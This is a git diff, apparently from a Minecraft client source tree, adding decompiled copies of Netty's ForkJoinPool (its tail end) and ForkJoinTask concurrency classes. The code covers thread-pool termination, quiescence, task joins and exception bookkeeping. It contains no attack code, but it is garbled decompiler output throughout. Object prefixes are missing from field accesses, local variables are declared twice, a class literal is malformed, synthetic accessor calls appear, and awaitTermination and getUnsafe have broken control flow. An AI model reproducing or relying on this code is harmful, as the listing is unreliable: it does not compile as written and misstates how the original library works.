+
+
+
+
+
+
+
+  public List<Runnable> shutdownNow()
+  {
+    checkPermission();
+    tryTerminate(true, true);
+    return Collections.emptyList();
+  }
+  
+
+
+
+
+  public boolean isTerminated()
+  {
+    long c = ctl;
+    return ((c & 0x80000000) != 0L) && ((short)(int)(c >>> 32) + parallelism <= 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isTerminating()
+  {
+    long c = ctl;
+    return ((c & 0x80000000) != 0L) && ((short)(int)(c >>> 32) + parallelism > 0);
+  }
+  
+
+
+
+
+
+  public boolean isShutdown()
+  {
+    return plock < 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    if (Thread.interrupted())
+      throw new InterruptedException();
+    if (this == common) {
+      awaitQuiescence(timeout, unit);
+      return false;
+    }
+    long nanos = unit.toNanos(timeout);
+    if (isTerminated())
+      return true;
+    if (nanos <= 0L)
+      return false;
+    long deadline = System.nanoTime() + nanos;
+    synchronized (this)
+    {
+      if (isTerminated())
+        return true;
+      if (nanos <= 0L)
+        return false;
+      long millis = TimeUnit.NANOSECONDS.toMillis(nanos);
+      wait(millis > 0L ? millis : 1L);
+      nanos = deadline - System.nanoTime();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean awaitQuiescence(long timeout, TimeUnit unit)
+  {
+    long nanos = unit.toNanos(timeout);
+    
+    Thread thread = Thread.currentThread();
+    ForkJoinWorkerThread wt; if (((thread instanceof ForkJoinWorkerThread)) && (pool == this))
+    {
+      helpQuiescePool(workQueue);
+      return true;
+    }
+    long startTime = System.nanoTime();
+    
+    int r = 0;
+    boolean found = true;
+    WorkQueue[] ws; int m; while ((!isQuiescent()) && ((ws = workQueues) != null) && ((m = ws.length - 1) >= 0))
+    {
+      if (!found) {
+        if (System.nanoTime() - startTime > nanos)
+          return false;
+        Thread.yield();
+      }
+      found = false;
+      for (int j = m + 1 << 2; j >= 0; j--) { WorkQueue q;
+        int b;
+        if (((q = ws[(r++ & m)]) != null) && ((b = base) - top < 0)) {
+          found = true;
+          ForkJoinTask<?> t; if ((t = q.pollAt(b)) == null) break;
+          t.doExec(); break;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  static void quiesceCommonPool()
+  {
+    common.awaitQuiescence(Long.MAX_VALUE, TimeUnit.NANOSECONDS);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void managedBlock(ManagedBlocker blocker)
+    throws InterruptedException
+  {
+    Thread t = Thread.currentThread();
+    if ((t instanceof ForkJoinWorkerThread)) {
+      ForkJoinPool p = pool;
+      while (!blocker.isReleasable()) {
+        if (p.tryCompensate(ctl)) {
+          try {
+            do { if (blocker.isReleasable()) break; } while (!blocker.block());
+          }
+          finally {
+            p.incrementActiveCount();
+          }
+        }
+      }
+    }
+    
+
+    while ((!blocker.isReleasable()) && (!blocker.block())) {}
+  }
+  
+
+
+
+
+
+  protected <T> RunnableFuture<T> newTaskFor(Runnable runnable, T value)
+  {
+    return new ForkJoinTask.AdaptedRunnable(runnable, value);
+  }
+  
+  protected <T> RunnableFuture<T> newTaskFor(Callable<T> callable) {
+    return new ForkJoinTask.AdaptedCallable(callable);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  static
+  {
+    try
+    {
+      U = getUnsafe();
+      Class<?> k = ForkJoinPool.class;
+      CTL = U.objectFieldOffset(k.getDeclaredField("ctl"));
+      
+      STEALCOUNT = U.objectFieldOffset(k.getDeclaredField("stealCount"));
+      
+      PLOCK = U.objectFieldOffset(k.getDeclaredField("plock"));
+      
+      INDEXSEED = U.objectFieldOffset(k.getDeclaredField("indexSeed"));
+      
+      Class<?> tk = Thread.class;
+      PARKBLOCKER = U.objectFieldOffset(tk.getDeclaredField("parkBlocker"));
+      
+      Class<?> wk = WorkQueue.class;
+      QBASE = U.objectFieldOffset(wk.getDeclaredField("base"));
+      
+      QLOCK = U.objectFieldOffset(wk.getDeclaredField("qlock"));
+      
+      Class<?> ak = [Lio.netty.util.internal.chmv8.ForkJoinTask.class;
+      ABASE = U.arrayBaseOffset(ak);
+      int scale = U.arrayIndexScale(ak);
+      if ((scale & scale - 1) != 0)
+        throw new Error("data type scale not a power of two");
+      ASHIFT = 31 - Integer.numberOfLeadingZeros(scale);
+    } catch (Exception e) {
+      throw new Error(e);
+    }
+    
+    submitters = new ThreadLocal();
+    defaultForkJoinWorkerThreadFactory = new DefaultForkJoinWorkerThreadFactory();
+    
+    modifyThreadPermission = new RuntimePermission("modifyThread");
+    
+    common = (ForkJoinPool)AccessController.doPrivileged(new PrivilegedAction()
+    {
+      public ForkJoinPool run() { return ForkJoinPool.access$100(); } });
+    int par = commonparallelism;
+    commonParallelism = par > 0 ? par : 1;
+  }
+  
+
+
+
+  private static ForkJoinPool makeCommonPool()
+  {
+    int parallelism = -1;
+    ForkJoinWorkerThreadFactory factory = defaultForkJoinWorkerThreadFactory;
+    
+    Thread.UncaughtExceptionHandler handler = null;
+    try {
+      String pp = System.getProperty("java.util.concurrent.ForkJoinPool.common.parallelism");
+      
+      String fp = System.getProperty("java.util.concurrent.ForkJoinPool.common.threadFactory");
+      
+      String hp = System.getProperty("java.util.concurrent.ForkJoinPool.common.exceptionHandler");
+      
+      if (pp != null)
+        parallelism = Integer.parseInt(pp);
+      if (fp != null) {
+        factory = (ForkJoinWorkerThreadFactory)ClassLoader.getSystemClassLoader().loadClass(fp).newInstance();
+      }
+      if (hp != null) {
+        handler = (Thread.UncaughtExceptionHandler)ClassLoader.getSystemClassLoader().loadClass(hp).newInstance();
+      }
+    }
+    catch (Exception ignore) {}
+    
+    if ((parallelism < 0) && ((parallelism = Runtime.getRuntime().availableProcessors() - 1) < 0))
+    {
+      parallelism = 0; }
+    if (parallelism > 32767)
+      parallelism = 32767;
+    return new ForkJoinPool(parallelism, factory, handler, 0, "ForkJoinPool.commonPool-worker-");
+  }
+  
+
+
+
+
+
+
+  private static Unsafe getUnsafe()
+  {
+    try
+    {
+      return Unsafe.getUnsafe();
+    } catch (SecurityException tryReflectionInstead) {
+      try {
+        (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+        {
+          public Unsafe run() throws Exception {
+            Class<Unsafe> k = Unsafe.class;
+            for (Field f : k.getDeclaredFields()) {
+              f.setAccessible(true);
+              Object x = f.get(null);
+              if (k.isInstance(x))
+                return (Unsafe)k.cast(x);
+            }
+            throw new NoSuchFieldError("the Unsafe");
+          }
+        });
+      } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+      }
+    }
+  }
+  
+  public static abstract interface ManagedBlocker
+  {
+    public abstract boolean block()
+      throws InterruptedException;
+    
+    public abstract boolean isReleasable();
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/ForkJoinTask.java b/src/minecraft/io/netty/util/internal/chmv8/ForkJoinTask.java
new file mode 100644
index 0000000..59fa730
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/ForkJoinTask.java
@@ -0,0 +1,1570 @@
+package io.netty.util.internal.chmv8;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+import java.security.AccessController;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import java.util.Collection;
+import java.util.List;
+import java.util.RandomAccess;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.RunnableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.locks.ReentrantLock;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForkJoinTask<V>
+  implements Future<V>, Serializable
+{
+  volatile int status;
+  static final int DONE_MASK = -268435456;
+  static final int NORMAL = -268435456;
+  static final int CANCELLED = -1073741824;
+  static final int EXCEPTIONAL = Integer.MIN_VALUE;
+  static final int SIGNAL = 65536;
+  static final int SMASK = 65535;
+  private static final ExceptionNode[] exceptionTable;
+  
+  private int setCompletion(int completion)
+  {
+    int s;
+    do
+    {
+      if ((s = status) < 0)
+        return s;
+    } while (!U.compareAndSwapInt(this, STATUS, s, s | completion));
+    if (s >>> 16 != 0)
+      synchronized (this) { notifyAll(); }
+    return completion;
+  }
+  
+
+
+
+
+  final int doExec()
+  {
+    int s;
+    
+
+
+
+    if ((s = status) >= 0) {
+      boolean completed;
+      try { completed = exec();
+      } catch (Throwable rex) {
+        return setExceptionalCompletion(rex);
+      }
+      if (completed)
+        s = setCompletion(-268435456);
+    }
+    return s;
+  }
+  
+
+
+
+
+
+
+  final boolean trySetSignal()
+  {
+    int s = status;
+    return (s >= 0) && (U.compareAndSwapInt(this, STATUS, s, s | 0x10000));
+  }
+  
+
+
+
+
+  private int externalAwaitDone()
+  {
+    ForkJoinPool cp = ForkJoinPool.common;
+    int s; if ((s = status) >= 0) {
+      if (cp != null) {
+        if ((this instanceof CountedCompleter)) {
+          s = cp.externalHelpComplete((CountedCompleter)this);
+        } else if (cp.tryExternalUnpush(this))
+          s = doExec();
+      }
+      if ((s >= 0) && ((s = status) >= 0)) {
+        boolean interrupted = false;
+        do {
+          if (U.compareAndSwapInt(this, STATUS, s, s | 0x10000)) {
+            synchronized (this) {
+              if (status >= 0) {
+                try {
+                  wait();
+                } catch (InterruptedException ie) {
+                  interrupted = true;
+                }
+                
+              } else
+                notifyAll();
+            }
+          }
+        } while ((s = status) >= 0);
+        if (interrupted)
+          Thread.currentThread().interrupt();
+      }
+    }
+    return s;
+  }
+  
+
+
+  private int externalInterruptibleAwaitDone()
+    throws InterruptedException
+  {
+    ForkJoinPool cp = ForkJoinPool.common;
+    if (Thread.interrupted())
+      throw new InterruptedException();
+    int s; if (((s = status) >= 0) && (cp != null)) {
+      if ((this instanceof CountedCompleter)) {
+        cp.externalHelpComplete((CountedCompleter)this);
+      } else if (cp.tryExternalUnpush(this))
+        doExec();
+    }
+    while ((s = status) >= 0) {
+      if (U.compareAndSwapInt(this, STATUS, s, s | 0x10000)) {
+        synchronized (this) {
+          if (status >= 0) {
+            wait();
+          } else
+            notifyAll();
+        }
+      }
+    }
+    return s;
+  }
+  
+
+  private int doJoin()
+  {
+    int s;
+    
+    Thread t;
+    
+    ForkJoinWorkerThread wt;
+    
+    ForkJoinPool.WorkQueue w;
+    return ((t = Thread.currentThread()) instanceof ForkJoinWorkerThread) ? pool.awaitJoin(w, this) : ((w = workQueue).tryUnpush(this)) && ((s = doExec()) < 0) ? s : (s = status) < 0 ? s : externalAwaitDone();
+  }
+  
+
+
+  private int doInvoke()
+  {
+    int s;
+    
+
+    Thread t;
+    
+
+    ForkJoinWorkerThread wt;
+    
+    return ((t = Thread.currentThread()) instanceof ForkJoinWorkerThread) ? pool.awaitJoin(workQueue, this) : (s = doExec()) < 0 ? s : externalAwaitDone();
+  }
+  
+
+
+
+
+
+
+
+
+  static final class ExceptionNode
+    extends WeakReference<ForkJoinTask<?>>
+  {
+    final Throwable ex;
+    
+
+
+
+
+
+
+
+    ExceptionNode next;
+    
+
+
+
+
+
+
+
+    final long thrower;
+    
+
+
+
+
+
+
+
+    ExceptionNode(ForkJoinTask<?> task, Throwable ex, ExceptionNode next)
+    {
+      super(ForkJoinTask.exceptionTableRefQueue);
+      this.ex = ex;
+      this.next = next;
+      thrower = Thread.currentThread().getId();
+    }
+  }
+  
+
+
+  final int recordExceptionalCompletion(Throwable ex)
+  {
+    int s;
+    
+
+    if ((s = status) >= 0) {
+      int h = System.identityHashCode(this);
+      ReentrantLock lock = exceptionTableLock;
+      lock.lock();
+      try {
+        expungeStaleExceptions();
+        ExceptionNode[] t = exceptionTable;
+        int i = h & t.length - 1;
+        for (ExceptionNode e = t[i];; e = next) {
+          if (e == null) {
+            t[i] = new ExceptionNode(this, ex, t[i]);
+          }
+          else
+            if (e.get() == this)
+              break;
+        }
+      } finally {
+        lock.unlock();
+      }
+      s = setCompletion(Integer.MIN_VALUE);
+    }
+    return s;
+  }
+  
+
+
+
+
+  private int setExceptionalCompletion(Throwable ex)
+  {
+    int s = recordExceptionalCompletion(ex);
+    if ((s & 0xF0000000) == Integer.MIN_VALUE)
+      internalPropagateException(ex);
+    return s;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  static final void cancelIgnoringExceptions(ForkJoinTask<?> t)
+  {
+    if ((t != null) && (status >= 0)) {
+      try {
+        t.cancel(false);
+      }
+      catch (Throwable ignore) {}
+    }
+  }
+  
+
+
+  private void clearExceptionalCompletion()
+  {
+    int h = System.identityHashCode(this);
+    ReentrantLock lock = exceptionTableLock;
+    lock.lock();
+    try {
+      ExceptionNode[] t = exceptionTable;
+      int i = h & t.length - 1;
+      ExceptionNode e = t[i];
+      ExceptionNode pred = null;
+      while (e != null) {
+        ExceptionNode next = next;
+        if (e.get() == this) {
+          if (pred == null) {
+            t[i] = next; break;
+          }
+          next = next;
+          break;
+        }
+        pred = e;
+        e = next;
+      }
+      expungeStaleExceptions();
+      status = 0;
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private Throwable getThrowableException()
+  {
+    if ((status & 0xF0000000) != Integer.MIN_VALUE)
+      return null;
+    int h = System.identityHashCode(this);
+    
+    ReentrantLock lock = exceptionTableLock;
+    lock.lock();
+    ExceptionNode e;
+    try { expungeStaleExceptions();
+      ExceptionNode[] t = exceptionTable;
+      e = t[(h & t.length - 1)];
+      while ((e != null) && (e.get() != this))
+        e = next;
+    } finally {
+      lock.unlock();
+    }
+    Throwable ex;
+    if ((e == null) || ((ex = ex) == null)) {
+      return null;
+    }
+    
+
+
+
+
+
+
+
+
+
+    Throwable ex;
+    
+
+
+
+
+
+
+
+
+    return ex;
+  }
+  
+
+  private static void expungeStaleExceptions()
+  {
+    Object x;
+    while ((x = exceptionTableRefQueue.poll()) != null) {
+      if ((x instanceof ExceptionNode)) {
+        ForkJoinTask<?> key = (ForkJoinTask)((ExceptionNode)x).get();
+        ExceptionNode[] t = exceptionTable;
+        int i = System.identityHashCode(key) & t.length - 1;
+        ExceptionNode e = t[i];
+        ExceptionNode pred = null;
+        while (e != null) {
+          ExceptionNode next = next;
+          if (e == x) {
+            if (pred == null) {
+              t[i] = next; break;
+            }
+            next = next;
+            break;
+          }
+          pred = e;
+          e = next;
+        }
+      }
+    }
+  }
+  
+
+
+
+  static final void helpExpungeStaleExceptions()
+  {
+    ReentrantLock lock = exceptionTableLock;
+    if (lock.tryLock()) {
+      try {
+        expungeStaleExceptions();
+      } finally {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+  static void rethrow(Throwable ex)
+  {
+    if (ex != null) {
+      uncheckedThrow(ex);
+    }
+  }
+  
+
+
+
+  static <T extends Throwable> void uncheckedThrow(Throwable t)
+    throws Throwable
+  {
+    throw t;
+  }
+  
+
+
+  private void reportException(int s)
+  {
+    if (s == -1073741824)
+      throw new CancellationException();
+    if (s == Integer.MIN_VALUE) {
+      rethrow(getThrowableException());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final ForkJoinTask<V> fork()
+  {
+    Thread t;
+    
+
+
+
+
+
+
+    if (((t = Thread.currentThread()) instanceof ForkJoinWorkerThread)) {
+      workQueue.push(this);
+    } else
+      ForkJoinPool.common.externalPush(this);
+    return this;
+  }
+  
+
+
+
+
+
+  public final V join()
+  {
+    int s;
+    
+
+
+
+
+    if ((s = doJoin() & 0xF0000000) != -268435456)
+      reportException(s);
+    return getRawResult();
+  }
+  
+
+
+
+
+  public final V invoke()
+  {
+    int s;
+    
+
+
+    if ((s = doInvoke() & 0xF0000000) != -268435456)
+      reportException(s);
+    return getRawResult();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void invokeAll(ForkJoinTask<?> t1, ForkJoinTask<?> t2)
+  {
+    t2.fork();
+    int s1; if ((s1 = t1.doInvoke() & 0xF0000000) != -268435456)
+      t1.reportException(s1);
+    int s2; if ((s2 = t2.doJoin() & 0xF0000000) != -268435456) {
+      t2.reportException(s2);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void invokeAll(ForkJoinTask<?>... tasks)
+  {
+    Throwable ex = null;
+    int last = tasks.length - 1;
+    for (int i = last; i >= 0; i--) {
+      ForkJoinTask<?> t = tasks[i];
+      if (t == null) {
+        if (ex == null) {
+          ex = new NullPointerException();
+        }
+      } else if (i != 0) {
+        t.fork();
+      } else if ((t.doInvoke() < -268435456) && (ex == null))
+        ex = t.getException();
+    }
+    for (int i = 1; i <= last; i++) {
+      ForkJoinTask<?> t = tasks[i];
+      if (t != null) {
+        if (ex != null) {
+          t.cancel(false);
+        } else if (t.doJoin() < -268435456)
+          ex = t.getException();
+      }
+    }
+    if (ex != null) {
+      rethrow(ex);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T extends ForkJoinTask<?>> Collection<T> invokeAll(Collection<T> tasks)
+  {
+    if ((!(tasks instanceof RandomAccess)) || (!(tasks instanceof List))) {
+      invokeAll((ForkJoinTask[])tasks.toArray(new ForkJoinTask[tasks.size()]));
+      return tasks;
+    }
+    
+    List<? extends ForkJoinTask<?>> ts = (List)tasks;
+    
+    Throwable ex = null;
+    int last = ts.size() - 1;
+    for (int i = last; i >= 0; i--) {
+      ForkJoinTask<?> t = (ForkJoinTask)ts.get(i);
+      if (t == null) {
+        if (ex == null) {
+          ex = new NullPointerException();
+        }
+      } else if (i != 0) {
+        t.fork();
+      } else if ((t.doInvoke() < -268435456) && (ex == null))
+        ex = t.getException();
+    }
+    for (int i = 1; i <= last; i++) {
+      ForkJoinTask<?> t = (ForkJoinTask)ts.get(i);
+      if (t != null) {
+        if (ex != null) {
+          t.cancel(false);
+        } else if (t.doJoin() < -268435456)
+          ex = t.getException();
+      }
+    }
+    if (ex != null)
+      rethrow(ex);
+    return tasks;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    return (setCompletion(-1073741824) & 0xF0000000) == -1073741824;
+  }
+  
+  public final boolean isDone() {
+    return status < 0;
+  }
+  
+  public final boolean isCancelled() {
+    return (status & 0xF0000000) == -1073741824;
+  }
+  
+
+
+
+
+  public final boolean isCompletedAbnormally()
+  {
+    return status < -268435456;
+  }
+  
+
+
+
+
+
+
+  public final boolean isCompletedNormally()
+  {
+    return (status & 0xF0000000) == -268435456;
+  }
+  
+
+
+
+
+
+
+  public final Throwable getException()
+  {
+    int s = status & 0xF0000000;
+    return s == -1073741824 ? new CancellationException() : s >= -268435456 ? null : getThrowableException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void completeExceptionally(Throwable ex)
+  {
+    setExceptionalCompletion(((ex instanceof RuntimeException)) || ((ex instanceof Error)) ? ex : new RuntimeException(ex));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void complete(V value)
+  {
+    try
+    {
+      setRawResult(value);
+    } catch (Throwable rex) {
+      setExceptionalCompletion(rex);
+      return;
+    }
+    setCompletion(-268435456);
+  }
+  
+
+
+
+
+
+
+
+  public final void quietlyComplete()
+  {
+    setCompletion(-268435456);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final V get()
+    throws InterruptedException, ExecutionException
+  {
+    int s = (Thread.currentThread() instanceof ForkJoinWorkerThread) ? doJoin() : externalInterruptibleAwaitDone();
+    
+
+    if ((s &= 0xF0000000) == -1073741824)
+      throw new CancellationException();
+    Throwable ex; if ((s == Integer.MIN_VALUE) && ((ex = getThrowableException()) != null))
+      throw new ExecutionException(ex);
+    return getRawResult();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final V get(long timeout, TimeUnit unit)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    if (Thread.interrupted()) {
+      throw new InterruptedException();
+    }
+    
+    long ns = unit.toNanos(timeout);
+    int s;
+    if (((s = status) >= 0) && (ns > 0L)) {
+      long deadline = System.nanoTime() + ns;
+      ForkJoinPool p = null;
+      ForkJoinPool.WorkQueue w = null;
+      Thread t = Thread.currentThread();
+      if ((t instanceof ForkJoinWorkerThread)) {
+        ForkJoinWorkerThread wt = (ForkJoinWorkerThread)t;
+        p = pool;
+        w = workQueue;
+        p.helpJoinOnce(w, this);
+      } else { ForkJoinPool cp;
+        if ((cp = ForkJoinPool.common) != null)
+          if ((this instanceof CountedCompleter)) {
+            cp.externalHelpComplete((CountedCompleter)this);
+          } else if (cp.tryExternalUnpush(this))
+            doExec();
+      }
+      boolean canBlock = false;
+      boolean interrupted = false;
+      try {
+        while ((s = status) >= 0) {
+          if ((w != null) && (qlock < 0)) {
+            cancelIgnoringExceptions(this);
+          } else if (!canBlock) {
+            if ((p == null) || (p.tryCompensate(ctl)))
+              canBlock = true;
+          } else {
+            long ms;
+            if (((ms = TimeUnit.NANOSECONDS.toMillis(ns)) > 0L) && (U.compareAndSwapInt(this, STATUS, s, s | 0x10000)))
+            {
+              synchronized (this) {
+                if (status >= 0) {
+                  try {
+                    wait(ms);
+                  } catch (InterruptedException ie) {
+                    if (p == null) {
+                      interrupted = true;
+                    }
+                  }
+                } else
+                  notifyAll();
+              }
+            }
+            if (((s = status) >= 0) && (!interrupted)) if ((ns = deadline - System.nanoTime()) <= 0L) {
+                break;
+              }
+          }
+        }
+      } finally {
+        if ((p != null) && (canBlock))
+          p.incrementActiveCount();
+      }
+      if (interrupted)
+        throw new InterruptedException();
+    }
+    if ((s &= 0xF0000000) != -268435456)
+    {
+      if (s == -1073741824)
+        throw new CancellationException();
+      if (s != Integer.MIN_VALUE)
+        throw new TimeoutException();
+      Throwable ex; if ((ex = getThrowableException()) != null)
+        throw new ExecutionException(ex);
+    }
+    return getRawResult();
+  }
+  
+
+
+
+
+
+  public final void quietlyJoin()
+  {
+    doJoin();
+  }
+  
+
+
+
+
+  public final void quietlyInvoke()
+  {
+    doInvoke();
+  }
+  
+
+
+
+  public static void helpQuiesce()
+  {
+    Thread t;
+    
+
+
+    if (((t = Thread.currentThread()) instanceof ForkJoinWorkerThread)) {
+      ForkJoinWorkerThread wt = (ForkJoinWorkerThread)t;
+      pool.helpQuiescePool(workQueue);
+    }
+    else {
+      ForkJoinPool.quiesceCommonPool();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void reinitialize()
+  {
+    if ((status & 0xF0000000) == Integer.MIN_VALUE) {
+      clearExceptionalCompletion();
+    } else {
+      status = 0;
+    }
+  }
+  
+
+
+
+
+
+  public static ForkJoinPool getPool()
+  {
+    Thread t = Thread.currentThread();
+    return (t instanceof ForkJoinWorkerThread) ? pool : null;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean inForkJoinPool()
+  {
+    return Thread.currentThread() instanceof ForkJoinWorkerThread;
+  }
+  
+
+
+
+
+
+  public boolean tryUnfork()
+  {
+    Thread t;
+    
+
+
+
+    return ((t = Thread.currentThread()) instanceof ForkJoinWorkerThread) ? workQueue.tryUnpush(this) : ForkJoinPool.common.tryExternalUnpush(this);
+  }
+  
+
+
+  public static int getQueuedTaskCount()
+  {
+    Thread t;
+    
+
+    ForkJoinPool.WorkQueue q;
+    
+
+    ForkJoinPool.WorkQueue q;
+    
+    if (((t = Thread.currentThread()) instanceof ForkJoinWorkerThread)) {
+      q = workQueue;
+    } else
+      q = ForkJoinPool.commonSubmitterQueue();
+    return q == null ? 0 : q.queueSize();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getSurplusQueuedTaskCount()
+  {
+    return ForkJoinPool.getSurplusQueuedTaskCount();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static ForkJoinTask<?> peekNextLocalTask()
+  {
+    Thread t;
+    
+
+
+
+
+
+
+
+
+
+
+
+    ForkJoinPool.WorkQueue q;
+    
+
+
+
+
+
+
+
+
+
+
+
+    ForkJoinPool.WorkQueue q;
+    
+
+
+
+
+
+
+
+
+
+
+    if (((t = Thread.currentThread()) instanceof ForkJoinWorkerThread)) {
+      q = workQueue;
+    } else
+      q = ForkJoinPool.commonSubmitterQueue();
+    return q == null ? null : q.peek();
+  }
+  
+
+
+
+
+  protected static ForkJoinTask<?> pollNextLocalTask()
+  {
+    Thread t;
+    
+
+
+
+    return ((t = Thread.currentThread()) instanceof ForkJoinWorkerThread) ? workQueue.nextLocalTask() : null;
+  }
+  
+
+
+
+
+
+  protected static ForkJoinTask<?> pollTask()
+  {
+    Thread t;
+    
+
+
+
+    ForkJoinWorkerThread wt;
+    
+
+
+
+    return ((t = Thread.currentThread()) instanceof ForkJoinWorkerThread) ? pool.nextTaskFor(workQueue) : null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final short getForkJoinTaskTag()
+  {
+    return (short)status;
+  }
+  
+
+
+
+  public final short setForkJoinTaskTag(short tag)
+  {
+    int s;
+    
+
+
+    while (!U.compareAndSwapInt(this, STATUS, s = status, s & 0xFFFF0000 | tag & 0xFFFF)) {}
+    
+    return (short)s;
+  }
+  
+
+
+
+
+
+
+  public final boolean compareAndSetForkJoinTaskTag(short e, short tag)
+  {
+    int s;
+    
+
+
+
+
+
+    do
+    {
+      if ((short)(s = status) != e)
+        return false;
+    } while (!U.compareAndSwapInt(this, STATUS, s, s & 0xFFFF0000 | tag & 0xFFFF));
+    
+    return true;
+  }
+  
+
+  static final class AdaptedRunnable<T>
+    extends ForkJoinTask<T>
+    implements RunnableFuture<T>
+  {
+    final Runnable runnable;
+    T result;
+    private static final long serialVersionUID = 5232453952276885070L;
+    
+    AdaptedRunnable(Runnable runnable, T result)
+    {
+      if (runnable == null) throw new NullPointerException();
+      this.runnable = runnable;
+      this.result = result; }
+    
+    public final T getRawResult() { return result; }
+    public final void setRawResult(T v) { result = v; }
+    public final boolean exec() { runnable.run();return true; }
+    public final void run() { invoke(); }
+  }
+  
+  static final class AdaptedRunnableAction
+    extends ForkJoinTask<Void> implements RunnableFuture<Void>
+  {
+    final Runnable runnable;
+    private static final long serialVersionUID = 5232453952276885070L;
+    
+    AdaptedRunnableAction(Runnable runnable)
+    {
+      if (runnable == null) throw new NullPointerException();
+      this.runnable = runnable; }
+    
+    public final Void getRawResult() { return null; }
+    public final void setRawResult(Void v) {}
+    public final boolean exec() { runnable.run();return true; }
+    public final void run() { invoke(); }
+  }
+  
+  static final class RunnableExecuteAction extends ForkJoinTask<Void>
+  {
+    final Runnable runnable;
+    private static final long serialVersionUID = 5232453952276885070L;
+    
+    RunnableExecuteAction(Runnable runnable)
+    {
+      if (runnable == null) throw new NullPointerException();
+      this.runnable = runnable; }
+    
+    public final Void getRawResult() { return null; }
+    public final void setRawResult(Void v) {}
+    public final boolean exec() { runnable.run();return true; }
+    
+    void internalPropagateException(Throwable ex) { rethrow(ex); }
+  }
+  
+  static final class AdaptedCallable<T>
+    extends ForkJoinTask<T>
+    implements RunnableFuture<T>
+  {
+    final Callable<? extends T> callable;
+    T result;
+    private static final long serialVersionUID = 2838392045355241008L;
+    
+    AdaptedCallable(Callable<? extends T> callable)
+    {
+      if (callable == null) throw new NullPointerException();
+      this.callable = callable; }
+    
+    public final T getRawResult() { return result; }
+    public final void setRawResult(T v) { result = v; }
+    
+    public final boolean exec() {
+      try { result = callable.call();
+        return true;
+      } catch (Error err) {
+        throw err;
+      } catch (RuntimeException rex) {
+        throw rex;
+      } catch (Exception ex) {
+        throw new RuntimeException(ex);
+      } }
+    
+    public final void run() { invoke(); }
+  }
+  
+
+
+
+
+
+
+
+
+  public static ForkJoinTask<?> adapt(Runnable runnable)
+  {
+    return new AdaptedRunnableAction(runnable);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> ForkJoinTask<T> adapt(Runnable runnable, T result)
+  {
+    return new AdaptedRunnable(runnable, result);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> ForkJoinTask<T> adapt(Callable<? extends T> callable)
+  {
+    return new AdaptedCallable(callable);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void writeObject(ObjectOutputStream s)
+    throws IOException
+  {
+    s.defaultWriteObject();
+    s.writeObject(getException());
+  }
+  
+
+
+  private void readObject(ObjectInputStream s)
+    throws IOException, ClassNotFoundException
+  {
+    s.defaultReadObject();
